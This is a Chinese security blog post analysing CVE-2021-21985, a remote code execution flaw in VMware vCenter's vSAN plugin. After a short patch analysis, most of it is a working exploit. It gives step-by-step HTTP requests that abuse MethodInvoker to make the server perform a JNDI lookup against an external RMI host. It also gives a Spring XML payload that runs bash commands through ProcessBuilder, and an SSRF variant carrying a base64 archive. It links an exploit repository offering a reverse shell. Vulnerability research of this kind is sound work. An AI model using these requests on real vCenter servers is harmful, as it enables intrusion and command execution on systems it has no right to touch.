CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞分析 - r0cky

admin 2021年12月31日15:44:32评论75 views字数 7738阅读25分47秒阅读模式

漏洞分析

这个漏洞披露也有一段时间了

根据老外对补丁的分析文章 https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985

初步的对漏洞有些了解

通过补丁对比,只要对两个地方进行了修复

h5-vsan-context.jar!/WEB-INF/web.xml

删除了对 /rest/* 的路由映射,没有开放路由访问会返回401,表示已经修复

com.vmware.vsan.client.services.ProxygenController 类中添加了对 method 的判断

这都不重要。

0x01 利用了Java反射方法

com/vmware/vsan/client/services/ProxygenController.class:117

大致能确定应该是通过反射调用类来触发远程代码执行漏洞。

0x02 基本参数构造

这里使用的spring框架,所以通过RequestMapping 就可以获得路由的构造,通过访问路由/service/{beanIdOrClassName}/{methodName} 就可以获取到 beanIdOrClassName methodName 和 json格式的body。

rawData = (List)body.get("methodInput");

body是接收的json格式,rawData有被强转换成 List类型

所以构造的body格式如下

{"methodInput": [null]}

然后传入到 invokeService 函数中进行调用。

0x03 寻找可利用的Spring Bean

通过 Class.forName(beanIdOrClassName); 传入的class名

然后会在spring bean在中获取对应class名的bean实体,在获取对应的方法列表,这些注册的bean中又存在危险方法和可利用Bean时,就可以进一步进行反射调用,从而达到远程命令执行的后果

h5-vsan-service.jar!/META-INF/spring/base/vsan-base-context.xml:35

出现可疑的类 org.springframework.beans.factory.config.MethodInvokingFactoryBean

进入继承类,

再进入继承类,直到最底层 org.springframework.util.MethodInvoker

会发现这里方法大多都是公开类型,说明在外部可以直接调用,并且还存在一个 invoke() 方法

综上所述 vsanProviderUtils_setVmodlHelper 端点的漏洞触发就是基于 MethodInvoker 类的反射调用了

0x04 构造利用链

接着开始构造利用链

vSphere UI 默认是Tomcat中间件,所以用Tomcat RMI Bypass 的方式就能远程命令执行

关键的类 javax.naming.InitialContext.doLookup

触发步骤:

methodInvoker.setTargetObject(null);
methodInvoker.setStaticMethod("javax.naming.InitialContext.doLookup");
methodInvoker.setTargetMethod("doLookup");
methodInvoker.setArguments("rmi://ip:1099/Exploit");
methodInvoker.prepare();
methodInvoker.invoke();

PoC构造:

直接访问 /ui/h5-vsan/rest/proxy/service/org.springframework.beans.factory.config.MethodInvokingFactoryBean/setTargetObject

No qualifying bean of type 'org.springframework.beans.factory.config.MethodInvokingFactoryBean' available: expected single matching bean but found 7: &vsanProviderUtils_setVmodlHelper,
&vsanProviderUtils_setVsanServiceFactory,
&vsanQueryUtil_setDataService,
&vsanCapabilityUtils_setVsanCapabilityCacheManager,
&vsanUtils_setMessageBundle,
&vsanFormatUtils_setUserSessionService,
&vsphereHealthProviderUtils_setVsphereHealthServiceFactory

肯定是无法找到的,并且找到的几个映射的bean name,需要通过bean name进行映射调用
&vsanProviderUtils_setVmodlHelper -> org.springframework.beans.factory.config.MethodInvokingFactoryBean

完整PoC

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 23

{"methodInput": [null]}

其他几个步骤一样的构造方法。

0x05 回显利用链

分析的话,就看原作者的吧 http://noahblog.360.cn/vcenter-cve-2021-2021-21985/

利用的是 com.vmware.vim.vmomi.core.types.impl.VmodContextImplloadVmodlPackage 方法

并且方法中调用了 SpringContextLoader vmodPackage 可控,最终可以指定一个 XML 文件路径,Spring 会解析 XML 的内容,造成 SpEL 注入,从而实现执行任意代码。

漏洞复现

Tomcat RMI 利用链POC

Step 1 setTargetObject to null

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 23

{"methodInput": [null]}

Step 2 setStaticMethod to payload

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 57

{"methodInput": ["javax.naming.InitialContext.doLookup"]}

Step 3 setTargetMethod to doLookup

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 29

{"methodInput": ["doLookup"]}

Step 4 setArguments with payload args

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 56

{"methodInput": [["rmi://104.156.231.150:1099/pblc0c"]]}

Step 5 initial payload class and methods

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 23

{"methodInput": [null]}

Step 6 trigger method invoke

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 23

{"methodInput": [null]}
可出网回显PoC

context.xml

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg>
          <list>
            <value>/bin/bash</value>
            <value>-c</value>
            <value><![CDATA[ ls -la /  2>&1 ]]></value>
          </list>
        </constructor-arg>
    </bean>
    <bean id="is" class="java.io.InputStreamReader">
        <constructor-arg>
            <value>#{pb.start().getInputStream()}</value>
        </constructor-arg>
    </bean>
    <bean id="br" class="java.io.BufferedReader">
        <constructor-arg>
            <value>#{is}</value>
        </constructor-arg>
    </bean>
    <bean id="collectors" class="java.util.stream.Collectors"></bean>
    <bean id="system" class="java.lang.System">
        <property name="whatever" value="#{ system.setProperty("output", br.lines().collect(collectors.joining("\n"))) }"/>
    </bean>
</beans>

利用python开启web服务器

POST /ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 44

{"methodInput": [["http://169090381:9999"]]}

调用 systemPropertiesgetProperty 方法来获取内存在执行命令的结果

POST /ui/h5-vsan/rest/proxy/service/systemProperties/getProperty HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 32

{"methodInput": ["output",null]}

不可出网PoC

结合了SSRF直接通过 data:text/html;base64, 方式加载压缩包,在 driverOfflineBundle 的方法中会自动解压提取内部的xml,导致不出网触发漏洞

POST /ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 893

{"methodInput": [["https://localhost:443/vsanHealth/vum/driverOfflineBundle/data:text/html%3Bbase64,UEsDBBQAAAAIAKd4xVKwSBTWpQEAAIgEAAASAAAAb2ZmbGluZV9idW5kbGUueG1spVNNT9wwFLwj8R/cIKGNxNrQ3rZJJD4uSCAhtodKlIPjfZsYHDv4OZtFiP+Oay9lv1ppSy5x3pt5mRnbWQlcI5k3SmOe1M61I8b6vqfYWqmrqeUN9MY+UmMrhqKGhrNASfb3SHwCdzRHucLvvwXK1+PjE/bz+mocqEOp0XEtYImNchTnXhnBnTQ6f2/uoGYXLIuAYfigc5wkRfxhyILISZ60ZUKE4ugjeeAzThXXFb2xRgDiWSfVBOw7KRCF8b5sJ5yxQ26rpZZvKolupeJrM646KFgpNSs51hmLha2oofhnO/tyd35x+uP0jvS14Y0k9/fFNkLG1oRkbLvsLMS0kYnE1UykoZe67dzYWeDNLfBdQvmj/uClLak/E9YNUlqBWxo5SF83fewourQbos+66RQsTP5fscTPCxNGKfgNXUu1c1JRDP7p+Qem+MsYfEYHzZbDOo6NZYGtNS1Y90y0vxl50tfcwcwnQIKVPDl4IXEcRXA3C/Dg8Kkz7rvpnN+XuD4ipaVKakC/ZQsfgw8/9MFI7e/XgvlLx3eapuQ1YeupxAUWb1BLAQIfABQAAAAIAKd4xVKwSBTWpQEAAIgEAAASACQAAAAAAAAAIAAAAAAAAABvZmZsaW5lX2J1bmRsZS54bWwKACAAAAAAAAEAGADeNPEi2VnXAd408SLZWdcBm/yF3shZ1wFQSwUGAAAAAAEAAQBkAAAA1QEAAAAA#"]]}
POST /ui/h5-vsan/rest/proxy/service/systemProperties/getProperty HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 32

{"methodInput": ["output",null]}

漏洞EXP

https://github.com/r0ckysec/CVE-2021-21985

rmi反弹shell exp

可回显exp

Reference

https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/

https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985

http://noahblog.360.cn/vcenter-cve-2021-2021-21985/

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日15:44:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞分析 - r0ckyhttps://cn-sec.com/archives/712385.html

发表评论

匿名网友 填写信息